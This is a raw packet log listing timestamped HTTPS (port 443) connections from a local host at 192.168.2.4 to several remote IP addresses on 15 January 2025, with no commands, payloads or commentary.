Jan 15, 2025 20:08:02.457811117 CET	49744	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.457880974 CET	49744	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.457909107 CET	443	49744	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.457964897 CET	49744	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.458420992 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.458460093 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.458518028 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.458739042 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.458756924 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.459022045 CET	443	49745	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.459101915 CET	49745	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.459414005 CET	49745	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.459436893 CET	49745	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.459464073 CET	49745	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.459590912 CET	443	49745	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.459645033 CET	49745	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.459673882 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.459711075 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.459902048 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.460056067 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.460074902 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.944118977 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.944406033 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.944443941 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.945473909 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.945542097 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.950380087 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.950475931 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.951134920 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.951163054 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.956471920 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.956732988 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.956782103 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.958213091 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.958298922 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.959031105 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.959117889 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:03.005774021 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:03.005778074 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:03.005806923 CET	443	49747	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:03.060247898 CET	49747	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:03.170965910 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:03.171051025 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:03.171087027 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:03.171119928 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:03.171148062 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:03.171216011 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:03.171216011 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:03.171237946 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:03.171283007 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:03.189939022 CET	49746	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:03.189974070 CET	443	49746	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:03.209707975 CET	49748	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.209743023 CET	443	49748	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.209830046 CET	49748	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.210052013 CET	49748	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.210068941 CET	443	49748	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.672054052 CET	443	49748	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.672514915 CET	49748	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.672553062 CET	443	49748	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.673603058 CET	443	49748	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.673682928 CET	49748	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.674740076 CET	49748	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.674804926 CET	443	49748	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.674957037 CET	49748	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.674966097 CET	443	49748	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.718761921 CET	49748	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.820221901 CET	443	49748	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.820312023 CET	443	49748	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.820527077 CET	49748	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.820935011 CET	49748	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.820959091 CET	443	49748	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.823575020 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.823632956 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:03.823726892 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.823982000 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:03.823993921 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.312299967 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.354931116 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.466980934 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.467036009 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.467608929 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.468652964 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.468724012 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.468875885 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.515326977 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600281954 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600332975 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600373030 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600406885 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600404024 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.600457907 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600472927 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.600487947 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600538969 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.600553036 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600668907 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600703001 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600714922 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.600728035 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.600800991 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.600811958 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.604899883 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.604968071 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.604980946 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.650773048 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.687619925 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.687680960 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.687738895 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.687769890 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.687971115 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.688003063 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.688026905 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.688041925 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.688095093 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.688488960 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.688544035 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.688572884 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.688587904 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.688601017 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.688647985 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.689287901 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.689356089 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.689388037 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.689410925 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.689421892 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.689476013 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.689486980 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.690237045 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.690268993 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.690294027 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.690301895 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.690310955 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.690349102 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.690365076 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.690411091 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.690422058 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.729649067 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.729682922 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.729702950 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.729718924 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.729752064 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.729769945 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.729803085 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.730413914 CET	49749	443	192.168.2.4	104.18.94.41
Jan 15, 2025 20:08:04.730447054 CET	443	49749	104.18.94.41	192.168.2.4
Jan 15, 2025 20:08:04.820271969 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:04.820332050 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:04.820413113 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:04.820609093 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:04.820622921 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:04.843017101 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:04.843067884 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:04.843143940 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:04.843338966 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:04.843364954 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.292135954 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.292444944 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.292480946 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.293566942 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.293646097 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.294182062 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.294236898 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.294469118 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.294477940 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.325990915 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.326271057 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.326301098 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.327794075 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.327862978 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.328289032 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.328363895 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.328588963 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.328599930 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.335747957 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.382275105 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.423253059 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.423387051 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.423424006 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.423444033 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.423445940 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.423468113 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.423499107 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.423518896 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.423559904 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.423567057 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.427988052 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.428049088 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.428050041 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.428061962 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.428090096 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.428101063 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.428108931 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.428147078 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.470376015 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.470475912 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.470560074 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.470896959 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.470930099 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.477413893 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.477488041 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.477538109 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.477551937 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.477603912 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.477648020 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.477663040 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.477678061 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.477720976 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.478072882 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.478137016 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.478169918 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.478174925 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.478184938 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.478236914 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.478809118 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.514626026 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.514698982 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.514729023 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.514755011 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.514760017 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.514775991 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.514806032 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.514877081 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.514911890 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.514916897 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.514921904 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.514964104 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.514970064 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.515013933 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.515089989 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.515708923 CET	49750	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.515727997 CET	443	49750	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.519435883 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.519450903 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.533735991 CET	49753	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.533802032 CET	443	49753	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.533866882 CET	49753	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.535084009 CET	49753	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.535104990 CET	443	49753	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.569931030 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.569984913 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.569989920 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.570014000 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.570055962 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.570086956 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.570096970 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.570142031 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.570149899 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.570723057 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.570771933 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.570771933 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.570786953 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.570847034 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.570852995 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.570864916 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.570904016 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.570913076 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.571552038 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.571600914 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.571611881 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.571649075 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.571687937 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.571696043 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.571734905 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.571775913 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.571784973 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.572385073 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.572417974 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.572432041 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.572439909 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.572488070 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.610544920 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.610635042 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.610687971 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.610713959 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.610732079 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.610793114 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.610977888 CET	49751	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.610995054 CET	443	49751	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.924784899 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.925143957 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.925179958 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.925641060 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.926448107 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.926532030 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:05.926651955 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:05.971376896 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.017131090 CET	443	49753	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.017378092 CET	49753	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.017410040 CET	443	49753	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.017944098 CET	443	49753	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.018502951 CET	49753	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.018598080 CET	443	49753	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.018660069 CET	49753	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.059336901 CET	443	49753	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.072436094 CET	49753	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.075594902 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.075720072 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.075792074 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.075862885 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.075963974 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.076023102 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.076040983 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.076119900 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.076174974 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.076188087 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.076275110 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.076328993 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.076340914 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.076416969 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.076472998 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.076486111 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.119677067 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.119714975 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.162276030 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.162369967 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.162389994 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.162422895 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.162480116 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.162569046 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.162789106 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.162848949 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.162885904 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.162977934 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.163036108 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.163053036 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.163131952 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.163187981 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.163201094 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.163420916 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.163481951 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.163496017 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.163577080 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.163633108 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.163645029 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.163729906 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.163784981 CET	49752	443	192.168.2.4	104.18.95.41
Jan 15, 2025 20:08:06.163796902 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.164319038 CET	443	49752	104.18.95.41	192.168.2.4
Jan 15, 2025 20:08:06.164377928 CET	49752	443	192.168.2.4	104.18.95.41
